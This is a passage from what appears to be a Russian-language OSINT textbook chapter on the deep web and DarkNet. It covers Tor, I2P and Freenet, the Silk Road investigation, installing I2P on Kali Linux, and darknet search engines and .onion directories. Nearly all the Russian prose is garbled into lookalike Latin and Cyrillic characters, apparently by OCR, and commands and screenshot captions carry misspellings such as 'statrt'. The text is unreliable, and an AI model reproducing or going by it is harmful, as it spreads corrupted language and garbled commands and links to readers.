HO.HyLIeHI/Ie TaKUX JJTAaHHBIX ABJAETCA OJHUM U3 CaMbIX ITPOCTBIX IIPUMEPOB ITOMCKa
uH(bOpPMAIK B TIIyGOKOM CETMEHTE CETH.

MHoOr1e HoJIb30BaTENIN U JaKe SKCIEPTHI YACTO MyTAIOT IOHATHE TIyGOKOTO MH-
teprera 1 DarkNet. [Tonarue riy6oKoro MHTEpHETa OXBATbIBAET OOLIEIOCTYIIHbIE
Pecypchl, KOTOPbIE He MOTYT ITPOUH/IEKCUPOBATH TaKUe TIOIYJISIPHbIE TTOUCKOBbBIE
cucrembl, kak Google, Yandex niu Bing, Ho TeM He MeHee OHU BCe PaBHO JAOCTYIIHbI
MOJTB30BATEJISIM CO BCETO MUPA € MOMOIIBI0 0OBIKHOBEHHOTO Opaysepa u 6e3 obJrajia-
HUA CTICIUAJIN3NPOBAHHBIMA 3HAHUAMM.

Takue pecypcbl OOBIYHO MTPEOCTABIISIIOT HH(DOPMAIHIO U3 CBOUX CIIEIUATN3UPOBAH-
HbBIX (a3 JIAHHBIX, U OJIb30BATEJISIM JIJIST TIOJIYIE€HUST IOCTYIIA Yallle BCETO MPUXOJUTCS
3a/1aBaTh OMpe/ieieHHbIe (DUIIBTPBI, HATPUMED ATy WJIH KJII0YeBbIe CI0BA.

TeMHbIM cerMeHT CeTu

Terepn, KOT/Ia MbI TOJTYYHIIH TTPEICTABICHUE O TIYOOKOM MHTEPHETE, HACTAIIO BPEMsT
HOIrPy3UThCA Ha cienyionuii yposenb — B DarkNet. DarkNet, win TemHas yacTb
MHTEPHETA, OBLT cOo3/1aH B KOHIle XX BeKa B KAUECTBE HHCTPYMEHTA [IJisI aHOHUMHOTO
obMeHa mH(OpMAITIel 1 cCOXpaHeHNsT KOHPUIEHITUATLHOCTH B OHJIAITH-KOMMYHUKa-
mstx. B mepByio ouepenb oH 6T pazpaboTaH IS UCTIOMB30BAHUSI TEMHU, KTO XOTEJ
u36exkarh CJAEKKA U KOHTPOJISI CO CTOPOHBI TPABUTENbCTBA, MOJUIINN WK JAPYTUX
OpraHu3aIui.

OpiHUM 13 TIEPBBIX IIPOEKTOB, KOTOPBIH puBes k co3nanuto DarkNet, 66wt Tor (The
Onion Router), co3nanubiii uccaenoBatesiMu u3 MaccadyceTcKkoro TeXHOJIornde-
ckoro unctutyTta (MIT) B 2002 romxy. OcHOBHOIT 3a/1aueil YIEHbIX SIBJISIOCH UCCTE-
MOBaHME BO3MOKHOCTH obecriedeH st 6e30TmacHOi 1 aHOHUMHON CBSI3W B MTHTEPHETE.
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C momormpio Tor mob30BaTENN MOTYT OOXOUTD TIEH3YPY 1 (DUIBTPAITHIO, & TaKKe
ckpbiBath cBoit [P-azpec.

IMossxe 8 DarkNet mosiBusioch 60JbII0e KOJIUIECTBO CAUTOB U (hOPYMOB, KOTOPbIE
IIPEJOCTaBIAIOT JOCTYIL K HeJleralbHbIM yCIyraM — IIpoja)e HapKOTUKOB, OPY KU,
KPaJIeHbIX KPEAUTHBIX KapT M T. /. B TeueHre MHOTHX JieT TPaBUTEIBCTBA TI0 BCEMY
MUPY [BITAJIUCH 3aKPLITh 9TU CAlTbl, HO M3-3a MCII0JIb30BaHUS CPEJACTB AHOHUMU-
3aIiu CEIaTh 9T0 OBLITO 10BOJBHO caoskHO. Ceromust DarkNet ocraerest ogHoi 13
CaMbIX CEKPETHBIX U HEJOCTYIHbIX YacTell MHTEPHETa, U HECMOTPS Ha BCE YCUJIIHS
IIPaBUTEJIBCTB, €€ He TaK-TO JIETKO [TOJTHOCTHIO N30JI1POBATh.

[MospzoBaTenu ncnob3yior DarkNet 71t pasmnaHbIX 1ies1eil, B OCHOBHOM JI7Ist 00X0/1a
BCEBO3MOJKHBIX OTPAHUYEHUI, BO3MOKHOCTH OTKPBITO BBICKA3aTh CBOE MHEHIE, HO
TaKJKe U JIJisi COBEPIEeHNUsT He3aKOHHbBIX JeficTBuil. [loBepXHOCTHBII anamus mpu-
MEPHO ISATON YaCcTH JapKHETa MOoKasal, 4To 0KoJio 70 % pecypcoB cocoOCTBYIOT
OCYIIeCTBICHNIO He3aKOHHOM JIeITeIbHOCTH (TOPTOBJIE OPY’KUEM M HAPKOTUKAMU,
MPOJIasKe MEPCOHATBHBIX JAHHBIX, YCJIYTaM 10 HE3aKOHHOMY MPOHUKHOBeHUTO B VIC
nT.I1.).

Ha naHnblii MOMEHT CaMbIMU IONYJISIPHBIMU TeXHOJOrHaME goctyna B DarkNet
asisioresa Tor, IP2, Freenet.

Tor (The Onion Router) — camast oIy JisipHast 1 HIMPOKO HUCIOJIb3yeMast aHOHUMHas!
cetb. OHa UCIIOJIB3YET JIYKOBYIO MAPIIPYTU3ANUIO (TIPH KOTOPOIi ICXOHBIE JIAHHBIE
CIIPSITAHBI IO/ MHOTOYHMCIEHHBIMU CJIOSIMU TIM(DPOBAHII ) /71T CKPBITUST MECTOIIOJIO-
JKEHUS U aKTUBHOCTH T10JIb30BaTeNIeN U 00ECTIeYMBaET JOCTYII K caliTaM, KOTOPbIE He
UHJIEKCUPYIOTCSI OOBIYHBIMU TTOMCKOBBIMU CHCTEMAMU. TOT TaK:Ke TPUMEHSIETCST ISt
MOCTYTIa K KOHTEHTY, KOTOPBIT OIOKMPYETCS B OTPEIEIEHHBIX CTPAHaX.

I2P (Invisible Internet Project) — 910 aHOHMMHAsI CETh, KOTOPAs TAK/KE UCIIOJIb3YET
JIYKOBYIO MapIIPYTU3ALUIO A/ 0OecedeHust Oe30MacHOCTH U KOH(MDUAEHIINATLHOCTH
noJb3osareseii. 12P cospana ais obMena (ailiaMu, OTIpaBKy COOOIEHMI 1 elleH-
TPaJM30BaHHbIX NpuiIokeHnii. OHa umeer OOJIbIIOE KOJUYECTBO «eepsites» — cail-
TOB, KOTOPbIE OCTYITHBI TOJIbKO B [2P 11 He BUIHBI N3BHe.

Freenet — etrie ojiHa aHOHUMHAL CETh, UCTIOJB3YIONIA TEXHOJIOTHIO PaCIIPEe/ICHHOTO
XPaHEHUST IAHHbBIX JIJIsT 0OecTiedeH st Ge30MaCHOCTH U AHOHUMHOCTH I0JIb30BATE e,
Freenet mpumvenstetcst st ooMena baiitaMu 1 XpaHeH!sT KOHTEHTA, KOTOPBIIT MOJKET
OBITH 10CTyTIEH TONIBKO Yepes Freenet. Kak u 8 Tor u I2P, nanusie B Freenet mudpy-
I0TCsT U TIepeIaloTest Yepe3 MHOKeCTBO Y3108 CeTH, 4ToObl 06eciednTh Ge30TacHOCTh
1 KOHMUJACHIIUAJIBHOCTD 110JIb30BaTesell. XapaKTepHO, YTO OJ[HAK/Ibl 3arPy>KEHHbIE
B CeTb JIaHHbIE HE MOTYT OBITh Y/IAJICHBI, U He CYIECTBYET €IMHOTO cepBepa, OTKIIO-
YeHre KOTOPOTO MOTJIO ObI TIOBJIEYD UX YaJIeHHeE.

B cBa3u ¢ temibim VHTEPHETOM CTOUT TAKIKE YIIOMAHYTb KPUIITOBAJIIOTY, BEIb UMCH-
HO C e€ IIOMOIIBIO IIPOUCXOAST OCHOBHbBIE PACYEThI B IJTyOOKOM CEIMEHTE MHTEPHETA,
TaK KaK MCIO0JIb30BaHNe JAHHOTO BU/IA OTLJIATHI TO3BOJISIET COXPAHUTH AHOHUMHOCTD
KaK OTIPAaBUTENIO, TAK U MOJIYYaTeNIo IeHeKHBIX cpeacTB. Camoli M3BeCTHOH, HO
JIAJIeKO He eMHCTBEHHOM KPUITOBAIIOTON Ha JAHHbIM MOMEHT SIBJISIETCSI OUTKOMH.
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Hoctyn B DarkNet

B nacrostiiiee BpeMst, Kax yske ObIIIO CKa3aHo, CAMBIM MOTYJISIPHBIM CIIOCOO0M IOCTYTIA
B DarkNet siBaisiercst Tor. Heo6X01MMO TIpeocTepedb YATATE ST BO MHOTHX CTPaHaX
ucrosb3oBanue Tor orpaHuYeHo 3aKOHOM, OY/IbTe BHUMATE/ILHBI U He HapyliaiTe
ero. Tak, B CIIIA nipu ornpe/iesieHHbIX YCIOBUSX MOTYT BbIIATh OPJep Ha MCCIe0-
BaHUe J0O0TO KOMITBIOTEPA B MUPE, Ha KOTOPOM HCIOIb3yeTcst Tor, a B HEKOTOPBIX
caydasx —u VPN.

Cawmbiii ipoctoii crioco6 Boiitu B DarkNet — uepes o6braHbIi Opaysep 1 crielnaabHbie
BeO-CepPBUCHI, 00ECTIEUMBATOIINE JOCTYII K CKPLITBIM pecypcam. OHAKO HEOOXOIUMO
YY€CTh, UTO TAKKME CEPBUCHI HE TAPAHTUPYIOT TIOJTHOTO IOCTYTIA ¥ CTAOMIBHOM paGoThI.
Takske TIOMHUTE, UTO UX MCTIOIH30BAHNE CBA3AHO C PUCKAMU TIOTEPH AHOHIMHOCTH,
M09TOMY HACTOSITEJILHO PEKOMEH/TyeTCst TIpH paboTte ¢ HuMu npuMeHsTh VPN,

Pecypent amist moctyma x Tor 6e3 cenmanusuposantoro 110O:

e https://www.tor2web.org;
e https://torsearch.com;
e https://www.torry.io.

Mcnonb3oBaHune Tor

Tor oTmpaBsieT MOIB30BATEIBCKIIE 3AIIPOCKHT Yepe3 MHOKECTBO PETPAHCISITOPOB HIIN
Y3J10B, 00BIUHO He MeHee Tpex. Bee mpoxoisiiye uepes aTu yaJibl JaHHble 3aimudpo-
BaHbl. [lepBeIil peTPaHCAATOP YCTAHABIUBAET MTOIKIIOUEHIE MT0Jb30BATENS K CETH
Tor. DToT y3es 3HAET Ballle TEKyIIee MECTOTIOTIOKEHIE, TI0ATOMY PEKOMEH/YeTCs
cHavasa ucrosb3oBarh VPN-ToaKIr0YeHe, UTOOBI CKPBITH €T0.

Bropoit y3en 3Haet, 4TO fAaHHDIE TIOCTYIAIOT OT MEPBOTO Y3714, TPETUH y3€7T 3HAET
TOJIBKO TO, UTO JIAHHBIE TIOCTYIIAIOT OT BTOPOTO y3ia, u T. 1. [lociexHuii y3en, Tak-
JKe M3BECTHBII KaK BBIXOAHON, He MMeEEeT BO3MOKHOCTH TTOJYYUTh HH(MOPMAIUIO
0 TIepBOM y3iie. Y3inl B Tor He cOXpaHIIOT HHGMOPMAIIHIO O TIPOTIEAITHX Yepe3 HIX
MaHHbIX, BCe coennHenust mudpyorcs. OMHAKO CaMBIM CJIAOBIM 3BEHOM B TITaHE
JICAHOHUMU3AIIMU TIPUHATO CYMTATh BBIXOAHON y3eJ, Tak Kak UMEHHO TYT JaHHbIe
MOTYT GBITh TIEPEXBAYEHBI, €CJIH He ObLH 3a1idpOoBaHb HaIesKHO. MI3BeCTHBI coryvan
aTak, B Pe3yJbTaTe KOTOPBIX KOMITBIOTEPDI MOTB30BATENEH HE3AMETHO OTIPABIISIIN
HesarmnppoBaHHble TaHHbIe. ITOOBI CHU3UTH BEPOSITHOCTD TAKOTO UCXO/[A, PEKOMEH-
myetcst Beerzia ucnoinbzosath peskum HTTPS-only (puc. 3.55).

Tor pabGoTaeT TOJIBKO ¢ caiiTaMy, HAaXOAAIIMMKCI B JJOMEHe .onion, A0CTyI K KO-
TOPOMY BO3MOKEH TOJIBKO yepes 9ToT Opaysep. Ckauath Gpaysep MOKHO ¢ caiita
torproject.org.

CkauaB u 3amyctuB 6paysep Tor, BBl MOKeTe HayaTh cBoe 3HakoMcTBO ¢ DarkNet.
Ecam aTo Ban epBbIii BBIXO/] B TEMHBIN CETMEHT CeTH, pEeKOMEH/[yeM HauaThb C caiTa
http://zqktlwi4fecvoéri.onion/wiki/index.php/Main_Page, KOTOpPbIli COEP:KUT MHOKECTBO
CCBIJIOK Ha PA3JIMYHBIE MOJE3HBIE PECYPCHI U MOKET OBITh HEILIOXOU TOYKOIT OT-
npasyeHuss. OfHAKO YUTHTE, YTO HE BCE CCHIIKU OKAKYTCS PAOOUNMU, & HEKOTOPBIE
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HTTPS-Only Mode

HTTPS provides a secure, encrypted connection between Firefox and the websites you visit. Most
websites support HTTPS, and if HTTPS-Only Mode is enabled, then Firefox will upgrade all
connections to HTTPS.

Learn maore
@ Enahle HTTPS-Cnly Made in all windows Manage Exceptions...
() Enable HTTPS-Only Mode in private windows only

() Don't enable HTTPS-Only Made

Puc. 3.55. BritoueHne HTTPS-only mode B HacTpoiikax Mozilla Firefox

cailThl GBIBAIOT JOCTYIHBI TOJIBKO B CTPOTO otpesieneHHoe Bpemst. B DarkNet, kak
U B 0OBIYHOU CETH, €CTh CBOM MOMCKOBBIE CHCTEMBbI, COIMAIbHbBIE CETH, TIOUTOBbIE
CepBUCHI U MHOroe Aipyroe. BoT HECKOJILKO CCLLIOK:

® T10YTOBBIN cepBuc http://p6x47b547s2fkmj3.onion;
e couuasbHag ceTh http://atlayofke5rghsma.onion;
e TqouckoBas cucrema https://3g2upl4pgbkufc4m.onion.

Etite pas o6pariato Barire BHUMaHe: Tor ObLI CO3/IaH JJIsT TOTO, YTOOBI MOJIB30BATEIIN
AHOHUMHO TIPOCMATPUBAIU OOBIUYHBIE PECYPChl HHTEPHETA, U BCET/a CYIIECTBYET
BEPOSATHOCTD, YTO Ballla AHOHUMHOCTH MOJKET OBITh PACKPBITA HA BHIXO[HBIX TOYKAX.
B otsune ot Tor, I2P nuiena Takoro HeocTaTka U paboTaeT 1Mo MPUHITUITY «CETh
HaJ ceTbioy». TakKe CTOUT 3aMETUTH, YTO CKOPOCTh COEUHENUs KPUTHUYHO MAJAeT
13-3a POXOJKIEHNs TpahrKa Yepe3 MHOKECTBO Y3JI0B, 0COOEHHO B TO BPEMsT, KOT/Ia
CETBIO TOJIB3YETCsT GOJIBIIOE KOJUUECTBO JIFOJICH.

OSINT u geaHOHMMM3aUMA Nofnb3oBaTeneun

ITpuBemeM IPUMEP TOTO, KAK CIENCTYKOAM YIAI0Ch J€AaHOHUMI3UPOBATh U 3a/IeP-
JKATh BJIAJIENbIIA OJIHON M3 KPYITHEHINNUX MJIOMAJ0K MO TPOJake HAPKOTHYECKUX
cpeacTB. 1o GblIa JoJras U KporoTianBas pabora, KoTopast TpeboBasia cbopa Beeil
noctymHoi nHhopMaru. CTOUT 3aMeTUTh, YTO A/IMUHUCTPAITUS TAKUX CEPBUCOB IO
HOHATHBIM IIPUYMHAM OYeHb CEPbE3HO OTHOCUTCS K CBOEH Ge3011aCHOCTU U AHOHKUM-
HOCTH, HO Ja)Ke y HUX ObIBAIOT IIPOKOJIBL.

Silk Road usBecren Kak OfMH 13 KPYITHEHIIMX OHIAIH-PHIHKOB HeJIEraJbHbBIX TOBA-
pos u yeayr B DarkNet. Ero agmusucrparop Poce YiabOpuxT, U3BeCTHBI 110 HUKOM
«JIpen ITupat PoGepre», 6b11 apectoBan B okTsi6pe 2013 roza.

Apect Pocca Yiabbpuxra craii pesyabraToM AJuTeabHoro paccaegoanus FBI (De-
JEePaIbHOTO OIOPO pacceJOBaHNI ), KOTOPOE JJIUIOCH OKOJIO BYX JieT. B xoze pac-
cJaeJ0BaHnd areHThbl FBI ncnonpsoBainn Pa3/IndYHbIE METO/IbI, B TOM YMCJI€ CJICANTN
3a 9JIEKTPOHHOI II0YTOI 1 KOMMYHHKALUSIMU YIbOPUXTA, @ TAK/KE B3JIaMbIBAJIM €0
CepBEPBHI.
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B xoze paccreoBanus ObLIO yCTaHOBJIEHO, 4TO YALOPUXT Kak agMuancTpatop Silk
Road xoHTpOIMpOBaN BeG-CaliT, r/ie MPoIaBaIiCh HeJIeraabHbBIE TOBAPBI U YCIYTH —
HAPKOTHUKH, OpY:Kue U (hanbinuBbie J0KyMeHTbl. OH OBLT TaK:Ke OOBUHEH B TIO/ICTPE-
KaTeJILCTBE K yOMHCTBY M OpraHM3aliy MPECTYIIHBIX CTOBOPOB.

Vab6puxra apectoBaiau B 6ubnnoreke B Can-DpaHIncKo, Tie OH THITAICA 32T
B Silk Road, ncmonb3ys HelrraTHbIe CpeACTBA CBsI3U. Bo BpeMst apecTa ero HoyTOyK
M3DBSIIN, UTO TTO3BOTNI0 areHTaM FBI mosyunTs 1omosHnTeIbHbIE T0Ka3aTeThCTBA
npotus Hero. B 2015 roy Poce YbOpuxT 6b11 IPUTOBOPEH K MOKM3HEHHOMY 3aKJITO-
yeHuio HGe3 TIpaBa Ha YCIOBHO-I0CPOUHOE 0CBOOOsKAeHNE. ETO aiBOKATHI MBITAINCH
OCTIOPUTH TIPUTOBOP, HO HE TOOUIINCH YCIIeXa.

Arentol FBI ncnosib3oBaiu pasinynbie METOAbI M TEXHOJIOTUH, YTOObI HATH 1 ape-
croBath Pocca YiabOpuxra.

® AHaIM3 JOKYMEHTOB U MeTaJaHHbIX. AreHTbl FBI uayunin muosxecrso z10-
KYMEHTOB U MeTaflaHHbIX, cBsa3aHHbIX ¢ Silk Road u Poccom YanOpuxrom. Onun
AHATUBUPOBAIIU (DOPYMBI, DJIEKTPOHHbIE COOOIIEHUS U IPYTUE UCTOUHUKH, YTOODI
HOJIyYUTh HHMOPMALIMIO 0 JII0AX, cBsasanHbIX ¢ Silk Road.

e Baiom cepsepos. FBI B3omMano HeCKOJIbKO cepBepoB, ceasanubix ¢ Silk Road,
4TOOBI MOJTYYUTH JOCTYT K Oase JaHHBIX caiiTa u apyroil nadopmarmu. OHu uc-
MOJIB30BAJU YSI3BUMOCTU B TPOTPAMMHOM 00€CTIEYEHUN CEPBEPOB, YTOODI TIOITY-
YUTh KOHTPOJIb HAJl HUMU U U3YYHUTD €SI TENbHOCTD AIMUHICTPATOPA.

e Hcnoab3oBanue oHIaiiH-MapKepoB. Pocc YabOpuXT A0y CTUI ONTUOKY, HCITOJb-
3y CBOW HACTOSIIMIN 9JIEKTPOHHBII a/[pec 1Jist OOIIEHMUST ¢ IPYTUMU JIIObMH, CBSI-
sanubimMu ¢ Silk Road. 1o gano FBI BO3MOKHOCTD OTCJEUTD €T0 3JIEKTPOHHYO
MOYTY W IPYTHE OHJIANH-MapPKEPHI.

e PaGorta nox npuxpbitieM. FBI pasmecTiyio HeckoIbKO cBonx areHtos Ha Silk
Road moz mpukpsITHEM, 4TOOBI HOJYYUTD JOCTYI K CAUTY U YCTAHOBHUTH CBSI3b
¢ Poccom Ynn6puxtom. OHEM CMOTJIN YCTAHOBUTH UACHTHIHOCTD YILOPUXTA
U TIOJTYYUTD IOCTYTI K €70 3JIEKTPOHHOH MOYTe U APYTOH MHMOOPMATIHTL.

12p

I2P (Invisible Internet Project) — aHOHUMHAsI CETh, TIO3BOJISIONIASI TIOTb30BATEISIM
oOMeHUBaTHCST HH(bOPMAIIUeil, He pacKpbIBast cBoero uctuHHOro [P-anpeca. OHa pa-
6oraeT mosI06HO APYTUM aHOHUMHBIM CETSIM, HO IMEET PSAJl OTIINYUI B apXUTEKType
u dyukimonasproct. [2P 6pima paspaborana Kak cBOGOIHO PACIPOCTPaHIEMOE
MPOTPAMMHOE 0OeCTIEUeH e U TTPEOCTABIISIET MOITH30BATESIM BO3MOKHOCTH 00TIATD-
€ B paMKaX CeTU yepe3 HecKOJIbKO IMPUJIOKEHUI, BKJIIOYAs 3/IeKTPOHHIYIO [104YTY,
4aThl, (GOPYMBI 1 IPYTUE CIYKODL.

B orsmmuue ot Tor, KOTOPBIiT UCTIOIB3YeT y3Jibl (HOBI) LISt MAPIIPYTU3AINK TpaduKa,
2P ucnionbayer HabOp «POYTEPOB», KAKABIN U3 KOTOPBIX OTBEYAET 32 MaPIIPyTH3a-
10 Tpauka MEKIY y3aami. ITO 0OecTiednBaeT H0JIee BBICOKYIO CTETEHb He30mac-
HOCTH ¥ 3aIINTHl KOHOUIEHIINATHHOCTH, TAaK KaK y3Jbl He MOTYT Y3HATh O IPYTHUX
y3JIaX U TOYKaX Ha3HAYeHUs, C KOTOPBIMU OHU CBSI3aHBIL.
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I2P Taxke mpenocTaBisieT BOSMOKHOCTD 3amycka BeO-caiiToB B aHOHIUMHOM ceTH
uepe3 cob6CTBEHHBIN TPOTOKOJ Eepsites. ITo MO3BOJIAET MOMB3OBATENAM CO3/IABATH
U pa3MelaTb KOHTEHT, KOTOPbIi HEBO3MOKHO OTCJIEANTD, UTO fesaeT [2P momysip-
HOM CPEIN KeNAI0NINX 0CTaBAThCA AaHOHUMHBIMU MTOJIb30BATEICH.

Yeranosky 12P ma Kali Linux syuriie Hagath ¢ 0GHOBIEHUST PETTO3UTOPUEB:
#apt update

Heob6xoxmnmo 106aBuTh HOBBII penosuropuii. Ciepyiomias koMaHa Jo6aBUT HOBYIO
3ammch B (haiis /etc/apt/sources.list.d u 3arpysut GPG-xiroun:

#apt-add-repository ppa:i2p-maintainers/i2p

IMocie ycTaHOBKY TIOBTOPHO OOHOBUM PETIO3UTOPUH:
#apt update

Haxomnerr, unanbubrii mar — ycranoska [2P:
#apt install i2p

[Mocsie ycTaHOBKYM HEOOXOAUMO 3aIYCTUTD 12P-MapIIPyTU3aTOP, ECJAU OH ellle He
3aIyIIeH:

$systemctl status i2p
$i2prouter statrt

[Tocaie yenerHoii yeranosku no aapecy 127.0.0.1:7657 y Bac 101K HO GbITH OCTYITHO
OKHO KOH(UTyparuu i2p-mMapiipyrusaropa (puc. 3.56).

22 12P Router Console -

I Select Language
This project is supporied by volunteer
transiators on Transdfex. This helps keep
I2P accessible 1o everyone all over the
‘world. Thank you o all of the volunleers all
over the workd who help make 2P
accessble. M you would Eke to get

involved, please consider the [2P
translation eforts.

Please select your prelered language:

C—

(% skip setup ) LM]

Puc. 3.56. OKHO HayanbHON KOHbUrypauum MaplupyTusaTopa I12P
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Teneps HEOGXOAMMO cKOHGUTYpHpoBaTh Firefox /st KOPPEKTHOI pabOThI ¢ CeThIO.
B narmmem ciyuae mapuipytusarop 12P 6yer paboTtaTh Kak IpOKCcU-cepBep st 6pa-
yaepa. Otkpoiire nacrpoiiku Network Proxy B Firefox u ykasxure agpec 127.0.0.1 pist
HTTP- u HTTPS-coenuuenuti, mopt 4444 (puc. 3.57).

3 Settings

&) Firefox | about:preference

Kali Linux @ KaliTools [ Kali Docs ] Kali Forums @ Kali NetHunter & Exploit-DR % Google Hacking DB J| OffSec

Connection Settings

Configure Proxy Access to the Internet

| Port | 4444 |

Also use this proxy for HTTPS

E More fre

HTTPS Proxy | 127
SOCKS Host |

(D Automatic praxy configuration URL

Mo proxy for

Example: .mozilla.org, .n 192.168.1.0/24
Connections to localhost, 127.0.0.1/8, and 1 are never proxied.

| [ Do not prampt for authentication if password is saved

Help Caneel m

Puc. 3.57. HacTpoliku npokcu-cepsepa B Firefox

[Mocne HEeCTOKHOI HACTPOIKY BaM CTaHET OCTYITHA Tpadrueckas KOHCOIb yIpaBJie-
HISE MapIIpyTusaTopoM (puc. 3.58). OGBIYHO HAYMHAIOIIIE TI0JIb30BATENN CTATKIBA-
1oTcs ¢ AByMs ipobemamu. Ilepsast — ato Hactpoiiku cetu, B Kali Linux daiiepsos
M0 YMOJTYAHUIO OTKJIIOUEH, & BOT HA JOMAITHEM MapIIPyTU3aToOpe HYKHbIE TIOPTHI
MOTYT OBITh 3aKPbIThL. Bropas — cailT MoeT ObITh HEIOCTYIIEH, [TOKA Bbl He 100aBUTe
€T0 B a/[PECHYTO0 KHUTY, 3TO MOKHO C/IeJIaTh B HACTPOMKAX poyTepa.

Mounck MHopMaLUKM B TEMHOM CErMEHTE CETU

IMounck undopmanmu B DarkNet oTmmyaercst oT TakoBOro B 00LIEA0CTYIIHOM CETMEH-
Te MHTEPHeTa, HAauMHasl ¢ TOro, Y4TO JJIs Ilepexo/ia Ha OoJiee TayOOKUI YPOBEHb BaM
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noTpebyercs CreraibHoe MPOorpaMMHOe 0becIieueH e, U 3aKaHYMBast OTCYTCTBUEM
TPAJUITMOHHBIX TTOMCKOBBIX cucTeM. MbI moctapaemcs nipumeHuTb 1moaxo OSINT
K pabore ¢ gannbiMu u3 DarkNet.

%% 12P Rout

C @ 0 127.0.

Kall Linux @& Kall Tool (all Docs & Kall Forums ¥ Kall MetHunter = Expleit-DB = Google Hacking DB

I12P Router Console
Feb 28, 2023 Congratulations On Getilng 12P Installed!
‘Welcome lo IZPI Flease have patlence as |ZF bools up and Bnds peers.
. . . ‘While you ars walting, please ad|ust your settings on th page.
Alsty o esan sl your brosas [ s e 9 prosy fo mach sopsiles Just eror 17,001 (o lecallosd) port 4444 s 2 hilp proxy info your eovwses
soMtings. (36 ot uss SOCKS for this. Mors information &an b found on tha 121 browssr praxy satup page
‘Once you have a “shared clients” destinason listed on the kefi, please check out our FAQ.
Warslof: 2848413 Pioing yaur G chont 8 locallost:B568 and say b 10 1 an 8125
Uptime: 14 min
Bandwidth In/out
LT 026,196 Kepa
& Ming 0.1 122 Kilps
Tamk: 0.2370 52 KPps Applications
Ured: Z25KB/EISKE
§ Malwork: Firewalled m— mm ]
=& = L =
& W o )
- i 2 Ardreasbank Emall Hidden Eerviens Uanages Tesrenta Weh Server
Lecal Tunnels
& ahared chents @  |2P Community Sites
& ahared chemin (S4) @
Dew Fanm echelon ip Git Projeet Hasting B FAG 12F Farum
0 o 3\ [ e
12P Pastebin Muwine Planet 127 Peeject Wealte The Tin Hat
Configuration And Help
@ # Q A 4 m
Configure Bandwidth Configure Homepage Help Manage Pluging Foater Console

Pwuc. 3.58. MaHenb ynpasneHns MapLipyTM3aTopoM

C60p AaHHbIX U MOUCKOBbLIE CUCTEMBI

C paboT0ii OGBIYHBIX TIOMCKOBBIX CHCTEM BbI YK€ 3HAKOMBbI, HO BCE JK€ CTOUT HAIIOM-
HUTbh, KaK IIPOUCXOJUT IIpoliecc cOopa JaHHBIX MOMCKOBLIMU cucTeMami. IlepBbiM
[IATOM SIBJISIETCST TIOJIyYeHUEe OCHOBHBIX a/[PECOB, C KOTOPHIX TTOMCKOBbIE CUCTEMbI
HAuHYT PaboTy 10 aHAJKM3Y U WHAEKCAIUN AaHHBIX. Jlasee poOOTH aHATU3UPYIOT
cofiep;KaHne CTPAHUIIBI, U3BJIEKAIOT TUTIEPCCHITKY U TIOMEIIAIOT UX B OUepeb. 3a-
TeM IIPOILECC MTOBTOPSIETCS JIJIS BCEX DJIEMEHTOB ouepeau. sl MOMCKOBBIX poOOTOB
MOZKHO 3a/1aTh OFPAHUYEHME YPOBHA IJIyOUHBI IOMCKA WU JaKe OTPAaHUYUTh IIOMCK
oIpefeIeHHOM TeMaTuKoi. Takoll moaxon ObLI IIpUMEHeH 15 aHAIM3a NU3BECTHOIO
MarasuHa 3arperieHHbIx ToBapoB u yeayr Silk Road. Paspaborunku 1ob6aBuiu mo-
HUCKOBOMY P00OTY (DYHKIIHMIO ay TeHTU(DUKAIIN JIJIST TTOJIYYEHISI BO3SMOKHOCTH TIPO-
CMOTpa W aHaJIM3a 3aKPBITON YacTH calTa.
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E1te ouu mHTEPECHBIN MPOEKT, KOTOPHIH HAUMHAJICS KaK MOMCKOBAsI CUCTEMA JIJISI
Tor, nHaspiBaercst PunkSPIDER. 9ra paspaboTka ipuMedare/ibHa TeM, 4TO UMeeT He
TOJIBKO (DYHKIINU TOMCKOBOM CUCTEMbI, HO TAK;Ke MOKET OIPe/esATh YA3BUMOCTU
Ha CKaHUpyeMbIX caiiTax. B JaHHBI MOMEHT JIOCTYITHO TOJIBKO pacliupeHue JJist
Gpaysepa.

Cuieryer yIoMsiHyTb O €llle OfHOI MHTePeCcHO paspaboTke — mpoekTe Memex. 3a-
nadeil 9Toil MOMCKOBOI crucTeMbl ObLI He TOJbKO cO0p MH(MOPMAIMH, HO 1 aHAIN3
COILYTCTBYIOIETO KOHTEKCTa. TakuM 00pasoM pa3padOTYMKU IIBITAIICH KaTErOPU-
3upoBaTh U aHaau3uposars wHGopmanuio DarkNet. TToxoxas cucrema Gbuia pas-
paborana pu noguepxke Esporneiickoro Corosa u nasbiasiach HOMER. 3azauei
ATOM MOMCKOBOW CHCTEMBI TAKKe SIBJISLICS HE TOJBKO COOP THUIIEPCCHITIOK, HO 1 aHAJIH3
KOHTEKCTA, B KOTOPOM OHU HAXO/IUJTUCh.

N3-3a npupopt DarkNet, ero CKpeITHOCTH OT TOCTOPOHHUX IJIa3, & TAKIKE YUUTHIBAST
TO, YTO MHOTHE CEPBUCHI He paboTaioT B ceTu 24,/7, 0ObIYHbIE NOUCKOBbLIE CUCTEMbI He
WHJIEKCUPYIOT Takue caitTbl. OJTHAKO, HECMOTPST HA TO, BCE JK€ €CTh HECKOJIBKO Pecyp-
COB, KOTOPBIE B3sIH Ha cebst 9Ty HEMpocTyio 3aiauy. OHON U3 CaMBIX MOMYISPHBIX
nouckosbix cucrem i DarkNet asisercs DuckDuckGo, gocrynnas B 06b14HOI
CETH M IIPU ATOM MMeIolas CBO Onion-loMeH. JTa MOMCKOBAs CUCTeMa TO3UIU-
oHupyer cebst Kak 6e30MacHast ISt IEPCOHANBHBIX JaHHBIX, BE/b, 10 3asBJIECHUSIM
PaspabOTYNKOB, OHA HE XPAHUT HH(OPMAIIUIO, TIO3BOJISIIOIILYO IEAaHOHMMU3UPOBAThH
moJib3oBaTesis. PekoMeHyeM 00paTuTh BHUMAHUE Ha MOUCKOBYIO cricteMy Ahmia,
KOTOPast TakiKe OCTYTHA U B 0OBIYHOM ceTH, 1 B Tor. B ee 6aze TaHHbIX COXEPKUTCS
oko110 5000 caiitoB DarkNet, ogHako oHa MOKET (DUIBTPOBATH PE3YJIBTATHI BbIAAYM.
B DarkNet cy1iiecTByOT U KaTaJoru pecypcoB, He TO/IBEPKEHHBIX [[eH3YPE, HATIPH-
mep The Hidden Wiki u Tor Links.
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Ecin B npeapiayineii riase Mbl coOupas KHGOPMAIIMIO O [eJIeBON OpraHi3aiim
TOJIBKO M3 OTKPBITBIX UICTOYHUKOB, TO B JIAHHOM Pa3/ieJie TiepeiijieM HEeMOCPeICTBEHHO
